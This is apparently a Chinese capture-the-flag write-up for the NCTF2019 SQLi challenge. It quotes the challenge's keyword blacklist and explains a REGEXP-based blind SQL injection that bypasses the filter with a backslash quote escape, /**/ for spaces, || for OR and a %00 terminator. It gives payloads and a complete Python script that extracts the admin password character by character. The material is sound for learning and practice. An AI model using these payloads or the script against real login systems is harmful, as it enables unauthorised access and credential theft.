[NCTF2019]SQLi(Regexp注入)

文章目录

        • 分析
        • Regexp注入
        • 盲注脚本
        • 总结:

又是一道考验写python脚本的题目,python学的真不咋地,看师傅们的脚本才知道一些点改怎么写…

[NCTF2019]SQLi(Regexp注入)_第1张图片

分析

查询语句:

sqlquery : select * from users where username='' and passwd=''

一开始真的尝试很多感觉不好绕,后来意识到前面username处可以用反斜杠将SQL语句的单引号转义,再之后就没头绪了,因为实在过滤了很多,之后尝试了看看有没有hint信息,在robots.txt处找到,提示看hint.txt:

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST['passwd'] === admin's password,

Then you will get the flag;

意思只要密码正确就可以得到Flag

Regexp注入

因为单引号用不了,注释符又用不了,实在没思绪。看大佬们提示说Regexp注入,就有了点思绪。
首先空格由/**/or可以用||代替,然后对passwd配合regexp逐位盲注结果,regexp时利用^从开头开始盲注
一开始大致想到这样的payload:

passwd=||/**/passwd/**/regexp/**/"^a";&username=\

但问题是末尾的单引号并未闭合,始终是个问题
看大佬们WP发现用到%00作为一个截断的作用来代替# 和-- -这类注释符,这个是我平常没注意到的

passwd=||/**/passwd/**/regexp/**/"^a";%00&username=\

盲注脚本

//加载string模块,得到小写字母+数字+下划线
import string
string= string.ascii_lowercase + string.digits + '_'

[NCTF2019]SQLi(Regexp注入)_第2张图片
注意regexp并不区分大小写的,所以脚本只需一组小写字母即可
利用burp发现正则匹配到的条件是:出现welcome或者没有alert
[NCTF2019]SQLi(Regexp注入)_第3张图片
python 中怎么传递%00这个字符呢,师傅们是通过:parse.unquote('%00'),这个函数专门用来URL解码
需要调用包:from urllib import parse
[NCTF2019]SQLi(Regexp注入)_第4张图片
parse.unquote('%00')实际上是输出/x00传递的,所以我们也可以直接传\x00
[NCTF2019]SQLi(Regexp注入)_第5张图片

看完上述的,相信你已经知道怎么写脚本了:

import requests
from urllib import parse
import string
import time

url='http://60a15aaf-a831-477a-96b4-c25ec5aea4ef.node3.buuoj.cn/index.php'

string= string.ascii_lowercase + string.digits + '_'

flag=''

for i in range(100):
    for j in string:

        data={
     
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00')),
            #'passwd':'||/*1*/passwd/*1*/regexp/*1*/"^{}";{}'.format(i,'%00'),
            'username':"\\"
        }
        #print(data)
        res = requests.post(url=url,data=data).text
        #print(res)
        if 'welcome' in res:
            flag+=j
            print(flag)
            #print(res)
            break
        time.sleep(0.1)
    time.sleep(0.1)

将得到的密码直接输入框中即可得到flag

总结:

1.regexp注入可以配合^来从头开始匹配
2.%00作为截断的作用,可以代替注释符#-- -
3.python中可以通过parse.unquote('%00')传递%00字符,
[NCTF2019]SQLi(Regexp注入)_第6张图片

你可能感兴趣的:(SQL注入)